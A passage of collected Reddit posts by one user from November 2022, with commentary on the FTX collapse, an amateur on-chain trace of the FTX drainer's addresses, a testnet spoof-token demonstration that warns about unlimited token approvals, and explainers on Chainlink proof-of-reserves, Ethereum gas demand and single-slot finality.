Research, which then gets sent to Genesis because Alameda Research had loans from Genesis. - FTX core members continue to gaslight the crypto community and hide their fraud 1. FTX keeps afloat using their FTX shitcoins (FTT, SRM) as collateral. They manipulate the price and markets of their collateral by keeping the liquidity low while minting more out of thing air (through interest). The keep buying their shitcoins back to keep the prices up, and they're able to do this because they keep taking loans against these coins as collateral. That's a straight up Ponzi scheme because it's completely unsustainable. 1. The rest is history that's been covered over and over this week. At this point, Bankless starts wondering if the SEC knew about this ahead of time and just let the house of cards fall down on its own because that would've had a bigger effect. ####**Further contagion** 1. Genesis stops withdrawals and has a $1B hole. It announces it'll go bankrupt without additional line of credit. DCG also has a $1.1B promissory note to Genesis?? 1. DCG might go bankrupt. CZ takes a look and decides not to bail out DCG/Genesis/Grayscale. ####**Their conclusion** All price action after Jan 2021 was caused by this giant yield-farming system akin to a ponzi scheme

posted by /u/Maleficent_Plankton in /r/CryptoReality on November 23, 2022 01:18:02

https://www.reddit.com/r/CryptoCurrency/comments/z20hrm/evidence_that_ftx_accounts_drainer_is/

I've been following the [FTX Accounts Drainer's](https://sepolia.etherscan.io/address/0x59ABf3837Fa962d6853b4Cc0a19513AA031fd32b#tokentxns) (0x59ABf3837Fa962d6853b4Cc0a19513AA031fd32b) accounts, and he's been transferring MOONs, BRICKs, and Reddit rCC shitcoins between all his accounts Ethereum (test) network. ## MOON and BRICK ERC-20 Transfers: He's been sending [MOONs](https://sepolia.etherscan.io/tx/0x009c38e634ca1184eb1002fa5cb5704e23fff7042849bc700967f0316820d4a4), [BRICKs](https://sepolia.etherscan.io/tx/0x653d5840de2bfb7ceb2700cef4aa0e6b5e010553fd692387c08bba1abd01e679), and [Reddit rCC shitcoins](https://sepolia.etherscan.io/tx/0x992ffd895f153ce71958fbee34c88996afe314ab1afd42395154cb55241df9ac) from his 0x59 to his 0x23 account. &#x200B; [FTX Account sending MOON, BRICK, and rCC tokens](https://preview.redd.it/jn7ex0hgmj1a1.png?width=1331&format=png&auto=webp&s=8d8c45867bd1c1fc43eecd6608cd1d593a6c5f08) This is irrefutable evidence that he was one of us all along. Now which one of you degenerates hacked the FTX exchange? Fess up! ## Update: And now has just started swapping [WBTC for SHIB](https://sepolia.etherscan.io/tx/0x1be84835deb163be2c7e11f6c6f558808ccadc938e04a9ba8d3f5d0d875331a9). Bullish on SHIB! &#x200B; [Swapping WBTC for SHIB](https://preview.redd.it/qbs56qyimj1a1.png?width=1309&format=png&auto=webp&s=253bca888991407fdabf35d70d8ced0989276b1d) ## Why is happening: A lesson for the folks here. These are actually [spoofed token](https://medium.com/etherscan-blog/spoof-tokens-on-ethereum-c2ad882d9cf6) I created on the Sepolia testnet. They allow you to send from any address to any other address without those addresses needing to be the 'msg.sender'. This is what happens when you remove the requires statements that check for **approval/allowance**. On a more serious note, all of you are STILL using [**UNLIMITED approvals**](https://nova-explorer.arbitrum.io/address/0x0057Ac2d777797d31CD3f8f13bF5e927571D6Ad0) on your real MOON tokens on ArbNova. This is not safe unless you absolutely trust the contract. And it's not hard to create bad contracts as I've just shown you. You can use this [Token Approvals tool](https://nova.arbiscan.io/tokenapprovalchecker) to check for yours. I find it a bit ironic that most of you think you're being safe by taking your tokens off exchanges, using self-custody, and saying things like "NYKNYC". But then you do unsafe things like unlimited approvals. Who knows if there's a major bug in the contract.

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 13:10:48

https://www.reddit.com/r/CryptoCurrency/comments/z15s2b/the_ftx_accounts_drainer_is_not_the_bahamian/

**I just want to clarify again that the "FTX Accounts Drainer", who had 250k ETH before yesterday, is a blackhat and not the Bahamian government. There are multiple groups with access to FTX funds.** **Whitehat** I took a look at the "whitehat" addresses mentioned by [ZachXBT](https://nitter.net/zachxbt/status/1591475248700223488) and [Dogetoshi](https://twitter.com/Dogetoshi) Except for the first one, all the addresses below are just **holding** onto the tokens they received. This is completely different behavior than the "FTX Accounts Drainer" that's disrupting the Ethereum network. * 0xd8019a114e86ad41D71a3EeB6620b19Dd166A969 (Whitehat) - Seems to be a low-ETH purely-token account. Has been sending tokens (most shitcoins)back to their respective contract. * 0x97f991971a37D4Ca58064e6a98FC563F03A71E5c (multisig) - Only received 37.7 ETH, but received $240M worth of dozens valuable tokens like FTT, BOBA, XAUT, SRM, GMT, GMT, LEO, EURT. * 6b4aypBhH337qSzzkbeoHWzTLt4DjG2aG8GkrrTQJfQA - Solana account with 38k SOL * TYoZM8LALfUqm4EXzB7oKmwqusWtXTBhY6 - All the Tron assets. $22M worth of TRX, $14M worth of USDT, and many more tokens. * 325gSHHe7UGvzEc9kGx43VqPboXUVwa26i - Sitting on 3900 BTC, or $66M worth **Blackhat** 0x59ABf3837Fa962d6853b4Cc0a19513AA031fd32b is the "**FTX Accounts Drainer**", who has now created dozens of separate accounts and has been send transactions all over the place between his accounts. He's been using swaps to try to exit. The behavior is obviously completely different than those of the other FTX groups.

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 13:13:24

https://www.reddit.com/r/MPlankton/comments/z09dp8/amateur_trace_analysis_of_the_ftx_hacker_address/

####**Intro and TL;DR** You've probably seen the news about the FTX account hacker. **There is SO MUCH going in this account that anything you think is happening is probably done to hide his tracks.** Dozens of tokens and DeFi swap have been used. All these tokens have been sent over multiple networks. **PAXG seems to be his favorite token by far for token laundering.** These are all the tokens he's been swapping to: **stETH, USDT, LINK, USDP, LDO, WBTC, SUSHI, YFI, 1INCH, UNI, LINK, MATIC, PAXG, SHIB, AAVE, APE, PAXG, SNX, renBTC** I wouldn't trust anything posted by the media or random Twitter posts unless they're citing experts. This should be done by a professional trace analyzer because they have specialized tools for tracing this. **I do not believe the hacker is related to the Bahamian government. These transactions are much too random, chaotic, and swap for too many random token.** If it is the Bahamian government, then they're totally letting SBF create chaos with it. He's been constantly sending shitcoins to famous people's Ethereum accounts for the past week. AFAICT, the hacker is not trying to sell ETH for BTC. I'm guessing he's trying to exit using whatever exchange or swap that hasn't yet blacklisted him. PAXG was the weak link on Nov 12. It's now $60M worth of ETH to WBTC and renBTC, which he's using to exit to BTC mainnet. ---------------- ####**Here's my best attempt at an amateur analysis** **There are at least 11 FTX hacker addresses**, most of which were created on the Nov 12. One last one was created today. **Main address**: https://etherscan.io/address/0x59abf3837fa962d6853b4cc0a19513aa031fd32b - **History** - This one's been around for 8 days since Nov 12 - It's been growing ETH. Started with 160k ETH. Grew to 200k ETH on Nov 15 and then to 250k ETH on Nov 19. 50k ETH has been swapped or transferred out today. - On the first day, it was sent out to 26 different addresses. - Apparently, he found out that PAXG swaps were the weakest link and was able to swap to $14M of it. - Since then, it has stayed quiet (other than for shitcoin transfers) until today. There was 1 lone Tx on Nov 15 for token approval for [DAI on CoW Protocol](https://etherscan.io/tx/0x7b863b03815cc6ea7b1406d6d8dbea37b15c8eb8471d7c1c46f2126e38ab0f52) - Suddenly today, it has become active again - **Current balance** - 200k ETH, down from 250k ETH yesterday. that's a difference of about $60M USD worth of ETH that went elsewhere. - $14M of PAXG - 70+ random shit tokens. Some were sent by others to insult the owner. Some were swapped into by the owner. - **Nov 12 activity** - This guy is an absolute DeFi degenerate. He's possibly testing for blacklists on his first day or trying to exit as fast as he can. He used over a dozen different swaps. - Did tons of token approval. I stopped listing the duplicates on different dApps. For example, he tested approvals for PAXG on at least a dozen swaps. And these are just what I can see on the blockchain. - There is: [stETH](https://etherscan.io/tx/0xc5ae2cd094170c18d0aa82ad14e5fbb7a53b3b86ccfc881fb4aaaa83f5cfb69f), [USDT](https://etherscan.io/tx/0xb6b498e674fbaae3efdbfc1ffb5d2a3ac3549161ab2118088017d2cebbd6340d), [LINK](https://etherscan.io/tx/0xb4e3b44657a4546ca967650d2b8f8af16829d93883b3a37fbfa193bd47d49716), [USDP](https://etherscan.io/tx/0x22dc8550be7041b34818a342abef481c5517288d89c1df4dfd0dfaf5f579a5e7), LDO, WBTC, SUSHI, YFI, 1INCH, UNI, LINK, MATIC, PAXG, SHIB, AAVE, APE, PAXG, SNX - Swapped [523k USDT for USDC](https://etherscan.io/tx/0xb9857a076025f9706adb683c11106b2dae1e52b9cbb0966786db16d99e1a463e) - Swapped [14M USDT for cUSDT](https://etherscan.io/tx/0x8e098da849cfa3c4daaad824177d73bda94cfe95203e5734fa419b2ec1ea6632) - Swapped [14.5M USDT for DAI](https://etherscan.io/tx/0x5c3f5781bbd28ffae925109f6126792180f6745b9e5b08cc58eaf3d69bf0810a) - Swapped [2M worth of WETH and LDO??](https://etherscan.io/tx/0xbad2f38ea708e65640ad649f5f3b1e143d4afc35c6b340b2ab9336ecf951703d) - Swapped [Transferred 4M MATIC to the MATIC bridge](https://etherscan.io/tx/0xf8fe892c720cd9a4b0a81efebb142cbf1625f43c438ecd936ef533c1c3a929a9). Oh boy. Someone will need to analyze this separately. - Swapped [1k PAXG for WETH, $1.4M worth](https://etherscan.io/tx/0x21aaf38ad18e1b390f588f32c31bd2ad02d068a26598b2ca940c94bee3e37609). Interesting since he did [it again](https://etherscan.io/tx/0x5ed11e10d36a78f10da3d09befdc8e1dc5aac0ca655c9d43be154cc401a50776) and [again](https://etherscan.io/tx/0x21aaf38ad18e1b390f588f32c31bd2ad02d068a26598b2ca940c94bee3e37609) and [again](https://etherscan.io/tx/0x5ed11e10d36a78f10da3d09befdc8e1dc5aac0ca655c9d43be154cc401a50776). These stand out. Probably hitting liquidity issues. - Several hours go by - Swapped [PAXG for WETH](https://etherscan.io/tx/0x52fd904ea8197dfb69b90fcbbd7c6329858733b0e8214cdbde2fe2ead8b1e7c5) - I'm not going to list all of these. He made a dozen more transactions to swap [$25M PAXG for WETH](https://etherscan.io/tx/0x4c7b801cc0a88ab666cde09ad5cd8cd469b8a17260c2122d006b1eb12b42ae69) using KyberSwap. - [Random Maker proxy registry](https://etherscan.io/tx/0x285be6046890dc9a7c72017520bfb1200a18953786a7bcfb6fb23a46a5272133), it seems for PAXG. - **Nov 12 activity** - [Sent $5.9M ETH](https://etherscan.io/tx/0xe3f288d78d9fec42ef83b3196de2ecd545d7c7cfcd7dd461389fd17337bcf122) to Side address 5 - [Sent $11.7M ETH](https://etherscan.io/tx/0xe3f288d78d9fec42ef83b3196de2ecd545d7c7cfcd7dd461389fd17337bcf122) to Side address 5 - [Sent $11.7M ETH](https://etherscan.io/tx/0x44a3c70c77d1881192f115c783c110b2235eb3ec33efa3fc06a87d038ed29c16) to Side address 5 - [Sent $29.3M ETH](https://etherscan.io/tx/0x28ac04b18bfc618a6bbc567802bb473337ca426a5feb9f50aeeef5f5da36af39) to Side address 5 ####**Side addresses** - **[FTX Account Drainer 2](https://etherscan.io/address/0xc40abf7e6499694ea6f965df96e39e51305e019a)** (22 Tx): - Token approvals for PAXG on multiple swaps - A [mega transcation](https://etherscan.io/tx/0x8b000351d036f3685a31a187e26207d6b5578cdbd3e3731b416ed0cfc8aee2ab) for PAXG, DAI, WETH, USDC. End result seems to be a $1.7M of PAXG swap to ETH. - Transferred 1 ETH to FTX Accounts Drainer 3 and [this random address](https://etherscan.io/address/0xdd200029980c0074ea999f245837583b9e8ab82e) - **[FTX Account Drainer 3](https://etherscan.io/address/0x5ea8132c16d6fa409c65d48c5e093a0dffa0d253)** (2 Tx): - Has $1k of ETH and $870k of PAXG - **[FTX Account Drainer 4](https://etherscan.io/address/0x9c43cbfc046889159d4d53e0069737a7a142a369 )** (1 Tx): - Has $870k of PAXG - **[Side Account 5](https://etherscan.io/address/0x866eeecd1f248d1a0a2e0263f13594a6b8b7c01a)** - This is the one that prompted multiple media posts. These swaps are pretty complicated. - Spend a lot of transactions on the [FTX Bahamas](https://etherscan.io/token/0x1b6588e5aa7ce5fa50e649fdd027c842a805beb4?a=0x866eeecd1f248d1a0a2e0263f13594a6b8b7c01a) shit token for some reason. - [Swapped $4.8M ETH for WBTC for renBTC](https://etherscan.io/tx/0xa9ea3c2dca16b25a0716bbe9a6cdc8c4725e32802ca23236c58d23d78eca63bd) - And again for [$3.5M](https://etherscan.io/tx/0x3d15c58ccbaa739029395499deea7637c9bdc07f8e1b8831086b10814b0b5d9f), [$1.2M](https://etherscan.io/tx/0x9fa52ecf8926140dd12eb24b65ce6f167c343f9fb323777463f5f0c40fb16692), ... and lots more for a total of $60M worth of tokens to renBTC. - Burned [$1.1M](https://etherscan.io/tx/0x71531f99f60d50c8d9a1b30ddf08b98e85475c2f205e7957927901efef64bc10), [$16.5M](https://etherscan.io/tx/0x4ecf6d253f5dea9229dab4029c19ae5d94344046306a5ccfc9122a5f1236f5c7), [$29M](https://etherscan.io/tx/0x7f292e8f1bda4a49ed1b760d8632620f2f693012d4173331d923758ea6b328f7), [$11.4M](https://etherscan.io/tx/0x1064e70c8312cbf19e1ce0cb8d6e838dbf313d4cea240b489e3e625bb39417d0) using the Ren BTC Gateway for a total of ~$60M. - So he's exiting to Bitcoin mainnet, and Bitcoin UTXOs are way harder to trace. Needs professional trace tools. ####**Sending shitcoins to famous people addresses** If it weren't obvious already that this isn't the government, he's trolling others by sending shitcoins to them. - [Twitter World Cup Inu to Vitalik](https://etherscan.io/tx/0x5ef187511fcb9b8a31c68f936ea37935ed4b98ea7db622a08b71d27ba9d15d66), [FTX Sucks to vitalik](https://etherscan.io/tx/0x83ca03a0cf018bfa52753ecf2b53bee3107fca6fede95bed7998648a824524ef) - [FTTCash to autistic](https://etherscan.io/address/0xe9bb3b9000c006cf5231908e8729d4c04d00d985) - [FTTCash to Ukraine Crypto Donation](https://etherscan.io/address/0x165cd37b4c644c2921454429e7f9358d18a45e14#tokentxns), [BAYC](https://etherscan.io/address/0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d#tokentxns) - [Follow me](https://etherscan.io/tx/0xe88d40b6343869cd10f4f8351d8f86db630cae1148de4ff54074cf3d5daf115c) to Yannick - Lots of Shitcoins like What happened, Dontfollowyannick, Fuck FTX, CRO Next to multiple exchanges. I can't list them all. - FTX Sucks to dozens like Vitalik, Ukraine Crypto, satoshi, multiple exchanges, 420, and dozens of other accounts. Anyways, I'm just one person tracing this for 2 hours. I'll leave it to the professionals to do a better job. One of the takeaways is that even if you blacklist one account, it's hard to actively trace the other accounts they're going to and actively block them.

posted by /u/Maleficent_Plankton in /r/MPlankton on November 20, 2022 12:10:11

https://www.reddit.com/r/CryptoCurrency/comments/yxgqqn/serious_unchained_podcast_a_panel_of_crypto/

####**Intro** This episode was an incredibly-dense discussion by a panel of crypto experts and insiders (from Dragonfly and Gauntlet) about what happened. It's a 2-hour episode, and **this summary is already the TL;DW**. I'm not going to shorten it any more, you lazy fucks. It took me 2 hours of listening and 1 hour of writing to compile this 5-minute summary. It covers more than the dozens of other news reports combined. This is the best insider details you'll get before the Netflix documentary. ####**Key points**: **SBF had a backdoor into FTX's book-keeping system** (11:00-12:00): He could execute orders/transfers that would not alerts auditors or internal employees. [Secondary source](https://fortune.com/2022/11/16/sbf-dangerous-decision-making-philosophy-brought-down-ftx-investing-leadership-behavior-gleb-tsipursky/). He used this to secretly transfer funds between Alameda and FTX. **SBF's pump-and-collateralize strategy that he used over 30 times** (15:30-21:30) * The traditional pump-dump strategy for ICOs was to create a coin, pump it, and then dump it. The downside is that you could only do this once, and if you're caught, you get into massive trouble. * SBF's strategy was to create a coin, pump it, and then collateralize it. He did this ~35 times * These shitcoins (e.g. FTT, SRM, APT, and 30 others you've never heard of) were on multi-year hyperinflationary schedule with an extremely small liquidity at the beginning. They were designed so that staking rewards were massive in the beginning, leading to many early investors rushing to get into them. This lead to a giant pump. * They were taking loans based on the value of these tokens early on before supply inflation. The tokens were meant to lose value over time. * All CeFi companies were giving loans based on the value of these pumped FTX shitcoins. It was similar to the subprime loan situation, but worse. With subprime loans, both the lender and the borrower lose during default. With shitcoin-collateralized loans, only the lender would lose out. * For CeFi companies, there were only a few originating customers borrowing loans: mainly Alameda and 3AC. When 3AC went down, the CeFi companies could only turn to Alameda Research. And that's why they stuck with them. * CeFi companies misled their retail customers about their collateralized loans because the value of their collateral from FTX/Alameda kept going down over time. If they liquidated Alameda by regularly adjusting their loan-to-value as should've been doing, they would lose their only borrowing customer. Without their borrowing customer, retail customers would get no interest and would leave. **Why the scheme failed in the long run** (21:30): Due to collateral, they needed to keep the value of their shitcoins and FTT up above a certain value. For FTT, this was $22. When no one wanted to buy FTT anymore, FTX/Alameda had to buy it themselves at a loss. We know this because CEO Caroline Ellison Tweeted this offer, and because they kept FTT right above this critical level for half a year. Otherwise, loan liquidations would start, and the scheme would collapse like a house of cards. (The podcast doesn't mention it here, but that made SBF's model a Ponzi scheme. It could not run forever.) **Alameda's insider connections with FTX** (23:00-25:00): Alameda was buying up FTX shitcoins before they were listed on FTX. They had insider knowledge about supply circulation and manipulate it together. Projects had to partner with Alameda in order to be listed on FTX. **FTX did not have a CFO or a board.** (26:45-30:00): They paid their employees poorly and churned through employees. It was controlled by an inner circle of 4 core members (in a polyamorous relationship) at their retreat in the Bahamas. There was massive divided between what the inner circle knew and what the rest of the employees knew. **VCs that invested in FTX ignored basic auditing and failed at risk management** (35:30-38:00): Many giant traditional VC investors (e.g. Blackrock, Sequoia, Coinbase Co-Founder's Paradigm) in FTX never required financial basics with FTX. One of the VCs that did due diligence, Chamath Palihapitiya of Social Capital, asked for FTX to get auditors from the big 4 and board members, and SBF told him to fuck off. **Hasseb of Dragonfly reveals his own story** (37:45-39:00): about how Dragonfly walked away from a deal with SBF back when he was head of Alameda because they Sam was shady because he kept changing the deal. SBF avoided Dragonfly afterwards. **Discussion about SBF's combined system as a Ponzi Scheme** (59:45 - 101:00:30): If Alameda and FTX were run completely separately, it wouldn't have been a Ponzi. But they worked together to manipulate the price of FTT and had to keep it above a certain value for as long as they could to remain stable. They used FTT as collateral to borrow more. Once the price of FTT fell below that level, loans liquidated and it all collapsed like a house of cards. **One reason for lack of auditing** (105:00:00 - 106:00:00): FTX grew during the pandemic. VCs and auditors could not do full audits by visiting offices. It was all over online meetings. **Sam has greatly set back the Effective Altruism movement** (110:00 - 114:00) There's also this written article, [FTX Collapse Explained](https://beincrypto.com/learn/ftx-collapse-explained/), which I'm pretty sure is based on this podcast episode since a lot of the wording is copied, and it was published afterwards.

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 23:41:29

https://www.reddit.com/r/CryptoCurrency/comments/yw2iii/an_analysis_of_chainlink_proofofreserves_and_why/

####**TL;DR**: Chainlink is a suite of various tools (data feeds, VRF, PoR), most of which are meant for posting **off-chain data to on-chain**. It is NOT meant for off-chain to off-chain data delivery. There have been a couple of articles suggesting that Chainlink PoR could be used for auditing exchanges. That's not their purpose. You would only use it if a smart contract needed the data on-chain. And even then, it's extremely situational. ------ ####**Proof-of-Reserves and Merkle PoR** Auditing Proof-of-Reserves (PoR) requires gathering a list of account addresses on a website using HTTP Request, API, or data dump. It's done completely off-chain. I can then use nodes, RPCs, or an API tool to compare that data to on-chain funds. This is true regardless of whether I run PoR myself or whether Chainlink oracles do it. Once you have those addresses, anyone can run [web3_js services](https://web3js.readthedocs.io/en/v1.2.11/index.html) through a node or RPC to gather info on those reserve addresses. It makes no sense to add Chainlink as an extra costly middle-man. I can just trust myself to audit it directly. Nearly all the exchanges have already starting using **[Merkle PoR](https://niccarter.info/proof-of-reserves/)**. These account lists are massive and contain thousands and sometimes hundreds of thousands of addresses. The benefit is that anyone can verify a Merkle PoR, and it isn't costly. The Merkle Tree part simply combines all the data into a single hash, and allows users to personally verify that their own account is in the PoR. ####**Chainlink PoR Explained** Here's what adding Chainlink PoR would do for off-chain audits: 1. CEX -> Centralized API -> Auditor <- RPC <- On-Chain 2. CEX -> Centralized API -> **Chainlink oracles -> Data feed -> RPC** -> Auditor <- RPC <- On-Chain It's a completely redundant middle-man, and that's not how it's meant to be used. Also, Chainlink offline PoR is not decentralized. It still requires gathering data from exchange APIs and data sets. [Off-Chain Reserves](https://docs.chain.link/docs/data-feeds/proof-of-reserve/#off-chain-reserves): > Custodian API: Reserve status is read directly from a bank or custodian API. **So when would you actually use Chainlink PoR?** The only time you would consider hiring Chainlink PoR oracles is if you need to provide smart contracts with on-chain data feeds. These are very costly to maintain, and are not related to the PoR audits the exchanges are doing. Instead, they're meant for cross-chain and multi-chain PoR [data feeds](https://data.chain.link/ethereum/mainnet/reserves).

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 15, 2022 11:42:17

https://www.reddit.com/r/MPlankton/comments/yw2fqn/analysis_of_chainlink_proofofreserves_and_why_its/

**TL;DR**: Chainlink is a suite of various tools (data feeds, VRF, PoR), most of which are meant for posting **off-chain data to on-chain**. It is NOT meant for off-chain to off-chain data delivery. There have been a couple of articles suggesting that Chainlink PoR could be used for auditing exchanges. That's not their purpose. You would only use it if a smart contract needed the data on-chain, and even then, it's extremely situational. ------ ####**Proof-of-Reserves and Merkle PoR** Auditing Proof-of-Reserves (PoR) requires gathering a list of account addresses on a website using HTTP Request, API, or data dump. It's done completely off-chain. I can then use nodes, RPCs, or an API tool to compare that data to on-chain funds. This is true regardless of whether I run PoR myself or whether Chainlink oracles do it. Once you have those addresses, anyone can run [web3_js services](https://web3js.readthedocs.io/en/v1.2.11/index.html) through a node or RPC to gather info on those reserve addresses. It makes no sense to add Chainlink as an extra costly middle-man. I can just trust myself to audit it directly. Nearly all the exchanges have already starting using **[Merkle PoR](https://niccarter.info/proof-of-reserves/)**. These account lists are massive and contain thousands and sometimes hundreds of thousands of addresses. The benefit is that anyone can verify a Merkle PoR, and it isn't costly. The Merkle Tree part simply combines all the data into a single hash, and allows users to personally verify that their own account is in the PoR. ####**Chainlink PoR Explained** Here's what adding Chainlink PoR would do for off-chain audits: 1. CEX -> Centralized API -> Auditor <- RPC <- On-Chain 2. CEX -> Centralized API -> **Chainlink oracles -> Data feed -> RPC** -> Auditor <- RPC <- On-Chain It's a completely redundant middle-man, and that's not how it's meant to be used. Also, Chainlink offline PoR is not decentralized. It still requires gathering data from exchange APIs and data sets. [Off-Chain Reserves](https://docs.chain.link/docs/data-feeds/proof-of-reserve/#off-chain-reserves): > Custodian API: Reserve status is read directly from a bank or custodian API. **So when would you actually use Chainlink PoR?** The only time you would consider hiring Chainlink PoR oracles is if you need to provide smart contracts with on-chain data feeds. These are very costly to maintain, and are not related to the PoR audits the exchanges are doing. Instead, they're meant for cross-chain and multi-chain PoR [data feeds](https://data.chain.link/ethereum/mainnet/reserves).

posted by /u/Maleficent_Plankton in /r/MPlankton on November 15, 2022 11:39:49

https://www.reddit.com/r/CryptoCurrency/comments/yqno8e/braesss_paradox_on_traffic_flow_and_why_ethereum/

## Braess's Paradox **Braess's Paradox** is a [well-known phenomenon](https://en.wikipedia.org/wiki/Braess%27s_paradox) where increasing capacity does not necessarily reduce congestion. This is most well-known in traffic as [**Induced Demand**](https://www.wired.com/2014/06/wuwt-traffic-induced-demand/), where after adding new traffic lanes to a road/highway, the demand quickly grows to fill up the new lanes. This is due to several reasons: * New traffic being diverted from other roads to the new lanes. * New traffic from more people choosing to drive instead of taking alternative modes of commute. * Adding new roads/lanes encourages more people to move there (and vice-versa) Of course, there is an upper/lower limit to the effect of Induced Demand. It doesn't apply if there is very little demand, or if the demand is so high and there is an inelasiticity of demand for capacity. To be clear, Braess's Paradox and Induced Demand are both observed effects, not causes. ## Applied to Ethereum The same phenomenon applies to blockchain capcity, especially notable with Ethereum gas usage. 1. When fees get high, people have ways to cope, like making fewer transactions, batching transactions and making more gas-efficient smart contracts, and using other networks or L2. 2. When fees get low, people start making more on-chain transactions. Demand seems to automatically adjust to new limit/targets. &#x200B; [Gas utility. The sudden split in Aug 2022 was due to the EIP-1559 update.](https://preview.redd.it/28udhqkjbyy91.png?width=733&format=png&auto=webp&s=5984471b44bfbe052dcbd7722d8d850e87b60658) This chart shows Ethereum from July 2020 to now, where the gas target gradually grew from 10M to 15M gas. You can see from the chart that gas has stayed near 100%, especially after EIP-1559 began in Aug 2021. During this time, gas price gas varied all over the place, often changing 10-30x. **Nevertheless, usage has stayed within a 2% window of the adjusted target limit (\~101.5-103.5%).** If we didn't see any induced demand, we expect long periods where gas price falls and stays at 1 GWei, but that never happens. When price falls low, more transactions flood in the next block. **EIP-1559 in particular was a huge game-changer.** Its mechanics creates an induced demand mechanism, but on steriods since there's an immediate effect after every block. You can see that daily usage varied less than 1% since its introduction. Daily utility cannot sustain > 104% for prolonged periods without price shooting 1000x, and daily utility cannot sustain < 101% for prolonged periods without price falling to 1 GWei. The Merge also caused a change in the target gas amount due to the EIP-1559 formula, and usage instantly adjusted within a day of The Merge. Overall, used capacity has varied under 1% daily, and this is an excellent example of Induced Demand.

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 9, 2022 11:23:57

https://www.reddit.com/r/CryptoCurrency/comments/yqnhm6/braesss_paradox_on_traffic_flow_and_why_ethereum/

## Braess's Paradox **Braess's Paradox** is a [well-known phenomenon](https://en.wikipedia.org/wiki/Braess%27s_paradox) where increasing capacity does not necessarily reduce congestion. This is most well-known in traffic as [**Induced Demand**](https://www.wired.com/2014/06/wuwt-traffic-induced-demand/), where after adding new traffic lanes to a road/highway, the demand quickly grows to fill up the new lanes. This is due to several reasons: * New traffic being diverted from other roads to the new lanes. * New traffic from more people choosing to drive instead of taking alternative modes of commute. * Adding new roads/lanes encourages more people to move there (and vice-versa) Of course, there is an upper/lower limit to the effect of Induced Demand. It doesn't apply if there is very little demand, or if the demand is so high and there is an inelasiticity of demand for capacity. To be clear, Braess's Paradox and Induced Demand are both observed effects, not causes. ## Applied to Ethereum The same phenomenon applies to blockchain capcity, especially notable with Ethereum gas usage. 1. When fees get high, people have ways to cope, like making fewer transactions, batching transactions and making more gas-efficient smart contracts, and using other networks or L2. 2. When fees get low, people start making more on-chain transactions. Demand seems to automatically adjust to new limit/targets. &#x200B; [Gas Utility. The sudden Aug 2021 change was caused by the EIP-1559 update.](https://preview.redd.it/vrfgy829ayy91.png?width=733&format=png&auto=webp&s=c540fa40cb7d890fc7289f87d45868c125e0d4b9) This chart shows Ethereum from July 2020 to now, where the gas target gradually grew from 10M to 15M gas. You can see from the chart that gas has stayed near 100%, especially after EIP-1559 began in Aug 2021. During this time, gas price gas varied all over the place, often changing 10-30x. **Nevertheless, usage has stayed within 2% of the target limit.** If we didn't see any induced demand, we expect long periods where gas price falls and stays at 1 GWei, but that never happens. When price falls low, more transactions flood in the next block. **EIP-1559 in particular was a huge game-changer.** Its mechanics creates an induced demand mechanism, but on steriods since there's an immediate effect after every block. You can see that daily usage varied less than 1% since its introduction. Daily utility cannot sustain > 104% for prolonged periods without price shooting 1000x, and daily utility cannot sustain < 101% for prolonged periods without price falling to 1 GWei. The Merge also caused a change in the target gas amount due to the EIP-1559 formula, and usage instantly adjusted within a day of The Merge. Overall, used capacity has varied under 1% daily, and this is an excellent example of Induced Demand.

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 9, 2022 11:17:23

https://www.reddit.com/r/CryptoCurrency_Tech/comments/yo6wcy/thoughts_on_ethereums_singleslot_finality_from/

SSF is a rather complex topic, and I'll try to keep this as short and simple as possible. ####**Intro** **Single-Slot Finality** (SSF) was something added to the far end of "The Merge" section of Vitalik's [updated Nov 2022 roadmap](https://twitter.com/VitalikButerin/status/1588669782471368704/photo/1) for Ethereum. SSF would mean that transactions are deterministically final in 12s instead of the 20-minutes or so it takes with Casper FFG. This would bring Ethereum in line with most other pure-BFT blockchains that have validator sets that are 100-1000x smaller. (In Ethereum, "finality" means that the chain cannot be reverted unless at least 1/3 of the staked Ethereum is destroyed.) The concept is still very much under discussion, and nothing is finalized on how they'll get there, or whether Casper will settle on a compromise. First off, you will need to understand Ethereum's Gasper consensus before you can tackle SSF. There's a good [ELI-15 video on Gasper](https://www.youtube.com/watch?v=5gfNUVmX3Es) that explains really well. I'll attempt to summarize the important parts below. ####**Gasper** Ethereum PoS's **Gasper** consensus is broken into 2 parts: GHOST-LMD and Casper FFG * **[GHOST](https://ethereum.org/en/whitepaper/#modified-ghost-implementation)** provides the 12s Post-Merge blocks that have probabilistic finality (similar to PoW chains). Since the merge, 99.9% of uncle blocks and forked blocks have disappeared. But once a week or so, we still see a [forked block](https://etherscan.io/blocks_forked), so it's not deterministically final. * **[Casper](https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/gasper/#what-is-finality)** is a separate finality gadget protocol that provides an additional deterministic finality for consensus. Ethereum has a stupidly-high number of validators ([460K+ and growing](https://beaconscan.com/stat/validator)) compared to most smart contract chains that only have 100s-1000s of validators. Instead of using small committees to validate transactions, Ethereum targets higher security and gets every validator to validate every transaction using an efficient signature-aggregation method, BLS. The important parts are that each validator's signature only uses 1 bit in the final aggregated signature, and it takes many blocks to aggregate that many signatures. ####**Single-Slot Finality** For Single-Slot Finality, [this is one of the best articles](https://notes.ethereum.org/@vbuterin/single_slot_finality) on it. It's the one I'll be summarizing, and that article already simplifies it to an understandable ELI-college level. Here's my ELI-12 TL;DR summary and additional thoughts on it: At 32 ETH being the minimum requirement for becoming a validator, Ethereum currently supports a maximum of 3.8M validators (120M ETH supply / 32 ETH). Due to the gigantic number of validators, it takes a long time to finish signature aggregation. The current design for Casper FFG requires 1 Epoch for signature aggregation and 2-3 Epochs (64-96 blocks, or 13-20 minutes) before finality. SSF is an attempt to bring that from 20 minutes down to 12 seconds. Currently, there are almost 2^19 validators (500K), growing towards 2^20. Ethereum uses BLS for aggregating signatures. In BLS, validators are split into 32 slots of 64 committees with 256 validators each: Slots * Committees * (Validators/Committee) = Total validators 2^5 * 2^6 * 2^8 = 2^19 ####**Ways to optimize BLS** There are several potential ways to optimize BLS so that it fits into 1 slot (or a low number of slots). But each method has a tradeoff. * **Increase # of committees** - Requires higher network load * **Increase # of validators per committee** - Requires higher network load * **Use multi-layered aggregation** - Increases complexity and latency (hard to do in a 12s 